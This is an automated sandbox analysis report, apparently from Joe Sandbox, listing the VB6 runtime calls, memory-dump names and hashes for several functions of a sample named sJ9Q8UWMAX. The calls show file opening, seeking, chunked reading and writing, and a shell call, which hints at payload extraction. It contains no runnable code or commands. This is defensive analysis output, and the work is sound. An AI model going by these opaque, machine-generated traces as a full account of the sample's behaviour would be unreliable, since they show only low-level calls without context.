__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,004025E6), ref: 004082F3
__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004025E6), ref: 00408300
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 00408310
__vbaStrCopy.MSVBVM60 ref: 00408328

Part of subcall function 0040EE70: __vbaStrCopy.MSVBVM60 ref: 0040F13C
Part of subcall function 0040EE70: __vbaFreeStr.MSVBVM60(0040F175), ref: 0040F16E

__vbaStrMove.MSVBVM60(?,00000000), ref: 00408343
__vbaStrCat.MSVBVM60(00000000), ref: 0040834A
__vbaStrMove.MSVBVM60 ref: 00408355
__vbaStrCopy.MSVBVM60 ref: 00408362
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 00408376
__vbaStrCopy.MSVBVM60 ref: 0040838E
__vbaStrMove.MSVBVM60(?,00000000), ref: 004083A8
__vbaStrCat.MSVBVM60(00000000), ref: 004083AF
__vbaStrMove.MSVBVM60 ref: 004083BA
__vbaStrCopy.MSVBVM60 ref: 004083C7
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004083DB
__vbaStrCopy.MSVBVM60 ref: 004083F3
__vbaStrMove.MSVBVM60(?), ref: 00408407
__vbaStrCopy.MSVBVM60 ref: 00408414
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 00408424
__vbaStrCopy.MSVBVM60 ref: 0040843C
__vbaStrMove.MSVBVM60(?,00000000), ref: 00408457
__vbaStrCat.MSVBVM60(00000000), ref: 0040845E
__vbaStrMove.MSVBVM60 ref: 00408469
__vbaStrCopy.MSVBVM60 ref: 00408476
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 0040848A
__vbaStrCopy.MSVBVM60 ref: 004084A2
__vbaStrMove.MSVBVM60(?,00000000), ref: 004084BD
__vbaStrCat.MSVBVM60(00000000), ref: 004084C4
__vbaStrMove.MSVBVM60 ref: 004084CF
__vbaStrCopy.MSVBVM60 ref: 004084DC
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004084F0
__vbaStrCopy.MSVBVM60 ref: 00408508
__vbaStrMove.MSVBVM60(?), ref: 0040851C
__vbaStrCopy.MSVBVM60 ref: 00408529
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 00408539
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00408556
__vbaStrMove.MSVBVM60 ref: 00408561
__vbaStrCat.MSVBVM60(004057CC,00000000), ref: 0040856D
__vbaStrMove.MSVBVM60 ref: 00408578
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00408586
__vbaStrMove.MSVBVM60 ref: 00408591
#517.MSVBVM60(00000000), ref: 00408598
__vbaStrMove.MSVBVM60 ref: 004085A3
__vbaStrCopy.MSVBVM60 ref: 004085B0
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?), ref: 004085C8
__vbaStrCopy.MSVBVM60 ref: 004085E0
__vbaStrMove.MSVBVM60(?), ref: 004085F4
__vbaStrCopy.MSVBVM60 ref: 00408601
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 00408611
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040862F
__vbaStrMove.MSVBVM60 ref: 0040863A
__vbaStrCat.MSVBVM60(004057CC,00000000), ref: 00408646
__vbaStrMove.MSVBVM60 ref: 00408651
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040865E
__vbaStrMove.MSVBVM60 ref: 00408669
#517.MSVBVM60(00000000), ref: 00408670
__vbaStrMove.MSVBVM60 ref: 0040867B
__vbaStrCopy.MSVBVM60 ref: 00408688
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?), ref: 004086A0
__vbaStrCopy.MSVBVM60 ref: 004086B8
__vbaStrMove.MSVBVM60(?,00000000), ref: 004086D3
__vbaStrCat.MSVBVM60(00000000), ref: 004086DA
__vbaStrMove.MSVBVM60 ref: 004086E5
__vbaStrCopy.MSVBVM60 ref: 004086F2
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 00408706
__vbaStrCopy.MSVBVM60 ref: 0040871E
__vbaStrMove.MSVBVM60(?,00000000), ref: 00408739
__vbaStrCat.MSVBVM60(00000000), ref: 00408740
__vbaStrMove.MSVBVM60 ref: 0040874B
#517.MSVBVM60(00000000), ref: 00408752
__vbaStrMove.MSVBVM60 ref: 0040875D
__vbaStrCopy.MSVBVM60 ref: 0040876A
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?), ref: 00408782
__vbaStrCopy.MSVBVM60 ref: 0040879A
__vbaStrMove.MSVBVM60(?), ref: 004087AE
__vbaStrCopy.MSVBVM60 ref: 004087BB
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 004087CB

Part of subcall function 004125A0: __vbaChkstk.MSVBVM60(00000000,004025E6,?,?,?,?,004087E7,00000000), ref: 004125BE
Part of subcall function 004125A0: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004025E6), ref: 004125EB
Part of subcall function 004125A0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004025E6), ref: 004125FA
Part of subcall function 004125A0: #648.MSVBVM60(0000000A), ref: 00412619
Part of subcall function 004125A0: __vbaFreeVar.MSVBVM60 ref: 00412628
Part of subcall function 004125A0: __vbaI2I4.MSVBVM60(?), ref: 0041263C
Part of subcall function 004125A0: __vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 0041264A
Part of subcall function 004125A0: __vbaI2I4.MSVBVM60 ref: 0041265A
Part of subcall function 004125A0: #570.MSVBVM60(00000000), ref: 00412661
Part of subcall function 004125A0: __vbaLenBstr.MSVBVM60(00404B24), ref: 0041266E
Part of subcall function 004125A0: __vbaLenBstr.MSVBVM60(00404B24), ref: 004126A5
Part of subcall function 004125A0: #525.MSVBVM60(00000000), ref: 004126AC
Part of subcall function 004125A0: __vbaStrMove.MSVBVM60 ref: 004126B7
Part of subcall function 004125A0: __vbaI2I4.MSVBVM60 ref: 004126C7
Part of subcall function 004125A0: __vbaFileSeek.MSVBVM60(00000004,00000000), ref: 004126D2
Part of subcall function 004125A0: __vbaI2I4.MSVBVM60 ref: 004126E2
Part of subcall function 004125A0: __vbaGet3.MSVBVM60(00000000,?,00000000), ref: 004126EF
Part of subcall function 004125A0: __vbaStrMove.MSVBVM60(?), ref: 0041270A
Part of subcall function 004125A0: __vbaStrCopy.MSVBVM60 ref: 00412728
Part of subcall function 004125A0: __vbaStrMove.MSVBVM60(00000003), ref: 00412739
Part of subcall function 004125A0: #616.MSVBVM60(00000000), ref: 00412740

__vbaOnError.MSVBVM60(000000FF,00000000), ref: 004087F5
#669.MSVBVM60 ref: 00408802
__vbaStrMove.MSVBVM60 ref: 0040880D
__vbaStrCopy.MSVBVM60 ref: 0040881A
__vbaFreeStr.MSVBVM60 ref: 00408823
__vbaStrCopy.MSVBVM60 ref: 0040883C
__vbaStrCmp.MSVBVM60(00405B3C,?), ref: 00408855
__vbaEnd.MSVBVM60(80000002,00000000,00000000,00000000,80000002,00000000,00000000,00000000), ref: 004088B0
__vbaStrCmp.MSVBVM60(00405E88,?), ref: 004088CE
#580.MSVBVM60(00000000,00000027,00000000,00000000,0041B078,00000000), ref: 00408931
#600.MSVBVM60(00004008,00000000,00000000), ref: 0040895B
__vbaEnd.MSVBVM60 ref: 0040896E
__vbaStrCopy.MSVBVM60 ref: 00408A41
__vbaStrMove.MSVBVM60(?,00000000), ref: 00408A5B
__vbaStrCat.MSVBVM60(00000000), ref: 00408A62
__vbaStrMove.MSVBVM60 ref: 00408A6D
__vbaStrCopy.MSVBVM60 ref: 00408A7A
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 00408A8E
__vbaStrCopy.MSVBVM60 ref: 00408AA6
__vbaStrMove.MSVBVM60(?,00000000), ref: 00408AC1
__vbaStrCat.MSVBVM60(00000000), ref: 00408AC8
__vbaStrMove.MSVBVM60 ref: 00408AD3
#517.MSVBVM60(00000000), ref: 00408ADA
__vbaStrMove.MSVBVM60 ref: 00408AE5
__vbaStrCopy.MSVBVM60 ref: 00408AF2

Part of subcall function 00418C90: __vbaChkstk.MSVBVM60(00000000,004025E6,?,?,?,00409F3C,80000002,00000000), ref: 00418CAE
Part of subcall function 00418C90: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004025E6), ref: 00418CDB
Part of subcall function 00418C90: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004025E6), ref: 00418CE7
Part of subcall function 00418C90: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004025E6), ref: 00418CF3
Part of subcall function 00418C90: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004025E6), ref: 00418D02
Part of subcall function 00418C90: __vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,004025E6), ref: 00418D1B
Part of subcall function 00418C90: __vbaSetSystemError.MSVBVM60(80000002,00000000,?,?,?,00000000,004025E6), ref: 00418D2B
Part of subcall function 00418C90: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004025E6), ref: 00418D39
Part of subcall function 00418C90: __vbaFreeStr.MSVBVM60(?,?,?,00000000,004025E6), ref: 00418D42
Part of subcall function 00418C90: __vbaLenBstr.MSVBVM60(?,?,?,?,00000000,004025E6), ref: 00418D53
Part of subcall function 00418C90: __vbaStrToAnsi.MSVBVM60(?,?,00000000,?,?,?,00000000,004025E6), ref: 00418D62
Part of subcall function 00418C90: __vbaStrToAnsi.MSVBVM60(00000001,?,00000000,00000001,00000000,?,?,?,00000000,004025E6), ref: 00418D75
Part of subcall function 00418C90: __vbaSetSystemError.MSVBVM60(00000000,00000000,?,?,?,00000000,004025E6), ref: 00418D85
Part of subcall function 00418C90: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004025E6), ref: 00418D93
Part of subcall function 00418C90: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004025E6), ref: 00418DA1
Part of subcall function 00418C90: __vbaFreeStrList.MSVBVM60(00000002,?,?,?,?,?,00000000,004025E6), ref: 00418DB1
Part of subcall function 00418C90: __vbaSetSystemError.MSVBVM60(?,?,00000000,004025E6), ref: 00418DCA
Part of subcall function 00418C90: __vbaFreeStr.MSVBVM60(00418E07,?,00000000,004025E6), ref: 00418DEE
Part of subcall function 00418C90: __vbaFreeStr.MSVBVM60(?,00000000,004025E6), ref: 00418DF7

__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?), ref: 00408B0A
__vbaStrCopy.MSVBVM60 ref: 00408B22
__vbaStrMove.MSVBVM60(?), ref: 00408B36
__vbaStrCopy.MSVBVM60 ref: 00408B43
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 00408B53
__vbaStrCopy.MSVBVM60 ref: 00408B6B
__vbaStrMove.MSVBVM60(?), ref: 00408B7F
__vbaStrCopy.MSVBVM60 ref: 00408B8C
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 00408B9C
__vbaStrCopy.MSVBVM60 ref: 00408BB4
__vbaStrMove.MSVBVM60(?), ref: 00408BC8
__vbaStrCopy.MSVBVM60 ref: 00408BD5
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 00408BE5
__vbaStrCopy.MSVBVM60 ref: 00408BFD
__vbaStrMove.MSVBVM60(?), ref: 00408C11
__vbaStrCopy.MSVBVM60 ref: 00408C1E
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 00408C2E
__vbaStrCopy.MSVBVM60 ref: 00408C46

Strings

MGH+$2, xrefs: 00408320
;, xrefs: 00408C37

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$Move$Copy$Free$List$CheckHresult$ErrorNew2$#517$Bstr$#516#631AnsiChkstkSystemUnicode$File$#525#537#570#580#600#616#618#648#669Get3OpenSeek
String ID: ;$MGH+$2
API String ID: 2419524798-2363849171
Opcode ID: 4922fd86914f0d1911d26fd6260cb31160d45723a23d8febec2101ce13e3e991
Instruction ID: 93bf0c189370be62b4749cd89f90093835801c62d3816994bc11815577fef7f0
Opcode Fuzzy Hash: 4922fd86914f0d1911d26fd6260cb31160d45723a23d8febec2101ce13e3e991
Instruction Fuzzy Hash: 59B2FB71900218EFDB14DFA0DD48BEEBBB5FB48305F10816AE206B72A4DB745A85CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00411590 Relevance: 161.5, APIs: 91, Strings: 1, Instructions: 456
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaChkstk.MSVBVM60(00000000,004025E6,?,?,?,00409C6C,00000000,00000000), ref: 004115AE
__vbaStrCopy.MSVBVM60(?,?,?,00000000,004025E6), ref: 004115DB
__vbaStrCopy.MSVBVM60(?,?,?,00000000,004025E6), ref: 004115E7
__vbaStrCopy.MSVBVM60(?,?,?,00000000,004025E6), ref: 004115F3
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004025E6), ref: 00411602
#648.MSVBVM60(0000000A), ref: 00411621
__vbaFreeVar.MSVBVM60 ref: 00411630
__vbaI2I4.MSVBVM60(?), ref: 00411644
__vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 00411652
__vbaI2I4.MSVBVM60 ref: 00411662
#570.MSVBVM60(00000000), ref: 00411669
__vbaLenBstr.MSVBVM60(00404B24), ref: 00411676
__vbaLenBstr.MSVBVM60(00404B24), ref: 004116AD
#525.MSVBVM60(00000000), ref: 004116B4
__vbaStrMove.MSVBVM60 ref: 004116BF
__vbaI2I4.MSVBVM60 ref: 004116CF
__vbaFileSeek.MSVBVM60(00000004,00000000), ref: 004116DA
__vbaI2I4.MSVBVM60 ref: 004116EA
__vbaGet3.MSVBVM60(00000000,?,00000000), ref: 004116F7
__vbaStrCopy.MSVBVM60 ref: 0041170C

Part of subcall function 0040EE70: __vbaLenBstr.MSVBVM60(00000000), ref: 0040EEAD
Part of subcall function 0040EE70: #631.MSVBVM60(?,?,?), ref: 0040EEF8
Part of subcall function 0040EE70: __vbaStrMove.MSVBVM60(?,?,?), ref: 0040EF03
Part of subcall function 0040EE70: #516.MSVBVM60(00000000,?,?,?), ref: 0040EF0A
Part of subcall function 0040EE70: __vbaFreeStr.MSVBVM60(?,?,?), ref: 0040EF68
Part of subcall function 0040EE70: __vbaFreeVar.MSVBVM60(?,?,?), ref: 0040EF71
Part of subcall function 0040EE70: #631.MSVBVM60(?,?,00000002,?,?,?), ref: 0040EFA1
Part of subcall function 0040EE70: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,?), ref: 0040EFAC
Part of subcall function 0040EE70: #516.MSVBVM60(00000000,?,?,00000002,?,?,?), ref: 0040EFB3

__vbaStrMove.MSVBVM60(?), ref: 00411720

Part of subcall function 0040EE70: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,?), ref: 0040F00F
Part of subcall function 0040EE70: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,?), ref: 0040F018
Part of subcall function 0040EE70: #631.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F049
Part of subcall function 0040EE70: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F054
Part of subcall function 0040EE70: #516.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 0040F05B
Part of subcall function 0040EE70: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F0AF
Part of subcall function 0040EE70: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F0B8
Part of subcall function 0040EE70: #537.MSVBVM60(-0000000C,?,?,?,00000002,?,?,00000002,?,?,?), ref: 0040F0F3
Part of subcall function 0040EE70: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F104
Part of subcall function 0040EE70: __vbaStrCat.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 0040F107
Part of subcall function 0040EE70: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F112
Part of subcall function 0040EE70: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F117

__vbaStrMove.MSVBVM60(?,00000000), ref: 00411735
__vbaStrCmp.MSVBVM60(00000000), ref: 0041173C
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 0041175E
__vbaI2I4.MSVBVM60(?,?,00000000,004025E6), ref: 0041178B
__vbaFileClose.MSVBVM60(00000000,?,?,00000000,004025E6), ref: 00411792
__vbaI2I4.MSVBVM60 ref: 004117A9
__vbaFileClose.MSVBVM60(00000000), ref: 004117B0
__vbaI2I4.MSVBVM60 ref: 004117DB
__vbaFileSeek.MSVBVM60(?,00000000), ref: 004117E6
__vbaI2I4.MSVBVM60 ref: 004117F6
__vbaGet3.MSVBVM60(00000004,?,00000000), ref: 00411803
__vbaI2I4.MSVBVM60 ref: 00411832
__vbaFileSeek.MSVBVM60(00000001,00000000), ref: 0041183B

Part of subcall function 0040FBA0: __vbaChkstk.MSVBVM60(00000000,004025E6,?,?,00000000,?,00000000,004025E6), ref: 0040FBBE
Part of subcall function 0040FBA0: __vbaOnError.MSVBVM60(000000FF,?,00000000,?,00000000,004025E6,?), ref: 0040FBEE
Part of subcall function 0040FBA0: #580.MSVBVM60(00000000,00000000,00000000,?,00000000,?,00000000,004025E6,?), ref: 0040FC1A
Part of subcall function 0040FBA0: #529.MSVBVM60(00004008), ref: 0040FC38

#648.MSVBVM60(0000000A,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041186A
__vbaFreeVar.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411879
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041188D
__vbaFileOpen.MSVBVM60(00000220,000000FF,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041189B
#525.MSVBVM60(00001000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004118AD
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 004118B8
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411911
__vbaGet3.MSVBVM60(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041191E
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041192E
__vbaPut3.MSVBVM60(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041193B
#525.MSVBVM60(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411979
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411984
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411994
__vbaGet3.MSVBVM60(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004119A1
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 004119B1
__vbaPut3.MSVBVM60(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004119BE
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 004119E0
__vbaFileClose.MSVBVM60(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004119E7
#648.MSVBVM60(0000000A,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411A16
__vbaFreeVar.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411A25
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411A39
__vbaFileOpen.MSVBVM60(00000220,000000FF,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411A47
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411A57
__vbaFileClose.MSVBVM60(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411A5E
#580.MSVBVM60(?,00000026,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411A71
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411A85
__vbaFileOpen.MSVBVM60(00000220,000000FF,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411A93
#525.MSVBVM60(00001000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411AA5
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411AB0
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411B09
__vbaGet3.MSVBVM60(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411B16
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411B26
__vbaPut3.MSVBVM60(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411B33
#525.MSVBVM60(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411B71
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411B7C
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411B8C
__vbaGet3.MSVBVM60(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411B99
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411BA9
__vbaPut3.MSVBVM60(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411BB6
#598.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411BD0
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411BE5
__vbaFileClose.MSVBVM60(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411BEC
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411BFC
__vbaFileClose.MSVBVM60(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411C03
__vbaStrCat.MSVBVM60(00406BF8,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411C19
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411C24
__vbaStrCat.MSVBVM60(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411C31
#600.MSVBVM60(00000008,00000001,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411C47
__vbaFreeStr.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411C56
__vbaFreeVar.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411C5F
#600.MSVBVM60(00004008,00000000), ref: 00411C85
__vbaFreeStr.MSVBVM60(00411CE8), ref: 00411CBD
__vbaFreeStr.MSVBVM60(?,?,00000000,004025E6), ref: 00411CC6
__vbaFreeStr.MSVBVM60(?,?,00000000,004025E6), ref: 00411CCF
__vbaFreeStr.MSVBVM60(?,?,00000000,004025E6), ref: 00411CD8
__vbaFreeStr.MSVBVM60(?,?,00000000,004025E6), ref: 00411CE1
__vbaErrorOverflow.MSVBVM60 ref: 00411CFF

Strings

E, xrefs: 00411C65

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$Free$FileMove$CloseGet3$#525$CopyOpenPut3$#516#631#648BstrErrorSeek$#580#600Chkstk$#529#537#570#598ListOverflow
String ID: E
API String ID: 1020712489-3568589458
Opcode ID: dd04ee743c3aedb4f20eed2c2bd3a439915ce7c229051d87dfabd16d575bf736
Instruction ID: 2c3bdc2995cc32bb6ddafcd024d806e85dbf0c974109c8e670926915eacf5b68
Opcode Fuzzy Hash: dd04ee743c3aedb4f20eed2c2bd3a439915ce7c229051d87dfabd16d575bf736
Instruction Fuzzy Hash: 8322E6B1900249EBDB04DFE0DA48ADEBBB5FF48305F108129E602B76A0DB745A85DB58

Uniqueness

Uniqueness Score: -1.00%

Function 00408D7C Relevance: 129.9, APIs: 73, Strings: 1, Instructions: 397
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaStrCat.MSVBVM60(00000000,0040614C), ref: 00408DB5
__vbaStrMove.MSVBVM60 ref: 00408DC0
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00408DCE
__vbaStrMove.MSVBVM60 ref: 00408DD9
__vbaStrCat.MSVBVM60(0040614C,00000000), ref: 00408DE5
__vbaStrMove.MSVBVM60 ref: 00408DF0
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00408DFD
__vbaStrMove.MSVBVM60 ref: 00408E08
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00408E16
__vbaStrMove.MSVBVM60 ref: 00408E21
__vbaStrCat.MSVBVM60(0040614C,00000000), ref: 00408E2D
__vbaStrMove.MSVBVM60 ref: 00408E38
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00408E46
__vbaStrMove.MSVBVM60 ref: 00408E51
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00408E5E
__vbaStrMove.MSVBVM60 ref: 00408E69
__vbaStrCat.MSVBVM60(0040614C,00000000), ref: 00408E75
__vbaStrMove.MSVBVM60 ref: 00408E80

Part of subcall function 00410180: __vbaChkstk.MSVBVM60(00000000,004025E6,?,?,?,?,00409D5A,00000000), ref: 0041019E
Part of subcall function 00410180: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004025E6), ref: 004101CE
Part of subcall function 00410180: __vbaAryConstruct2.MSVBVM60(?,004068A0,00000003,?,?,?,00000000,004025E6), ref: 004101DF
Part of subcall function 00410180: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004025E6), ref: 004101EE
Part of subcall function 00410180: __vbaSetSystemError.MSVBVM60(0000000F,00000000,?,?,?,00000000,004025E6), ref: 0041020A
Part of subcall function 00410180: __vbaRecUniToAnsi.MSVBVM60(00404B50,?,00000128), ref: 00410244
Part of subcall function 00410180: __vbaSetSystemError.MSVBVM60(?,00000000), ref: 0041025A
Part of subcall function 00410180: __vbaRecAnsiToUni.MSVBVM60(00404B50,00000128,?), ref: 00410273
Part of subcall function 00410180: #525.MSVBVM60(00000104), ref: 0041029C
Part of subcall function 00410180: __vbaStrMove.MSVBVM60 ref: 004102A7
Part of subcall function 00410180: __vbaSetSystemError.MSVBVM60(00000410,00000000,?), ref: 004102DE
Part of subcall function 00410180: __vbaStrToAnsi.MSVBVM60(?,?,000001F4), ref: 00410338

__vbaFreeStrList.MSVBVM60(00000009,?,?,?,?,?,?,?,?,?,00000000), ref: 00408EB2
__vbaStrCat.MSVBVM60(00000000,0040614C), ref: 00408ECE
__vbaStrMove.MSVBVM60 ref: 00408ED9
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00408EE7
__vbaStrMove.MSVBVM60 ref: 00408EF2
__vbaStrCat.MSVBVM60(0040614C,00000000), ref: 00408EFE
__vbaStrMove.MSVBVM60 ref: 00408F09
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00408F16
__vbaStrMove.MSVBVM60 ref: 00408F21
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00408F2F
__vbaStrMove.MSVBVM60 ref: 00408F3A
__vbaStrCat.MSVBVM60(0040614C,00000000), ref: 00408F46
__vbaStrMove.MSVBVM60 ref: 00408F51
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00408F5F
__vbaStrMove.MSVBVM60 ref: 00408F6A
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00408F77
__vbaStrMove.MSVBVM60 ref: 00408F82
__vbaStrCat.MSVBVM60(0040614C,00000000), ref: 00408F8E
__vbaStrMove.MSVBVM60 ref: 00408F99

Part of subcall function 00410180: __vbaGenerateBoundsError.MSVBVM60 ref: 0041031D
Part of subcall function 00410180: __vbaSetSystemError.MSVBVM60(?,?,00000000), ref: 0041035E
Part of subcall function 00410180: __vbaStrToUnicode.MSVBVM60(?,?,?,00000000), ref: 0041036F
Part of subcall function 00410180: __vbaFreeStr.MSVBVM60(?,00000000), ref: 00410384
Part of subcall function 00410180: #616.MSVBVM60(?,?,?,00000000), ref: 00410399
Part of subcall function 00410180: __vbaStrMove.MSVBVM60(?,00000000), ref: 004103A7
Part of subcall function 00410180: __vbaStrMove.MSVBVM60(?,?,00000000), ref: 004103BE
Part of subcall function 00410180: __vbaFreeStr.MSVBVM60(?,00000000), ref: 004103CA
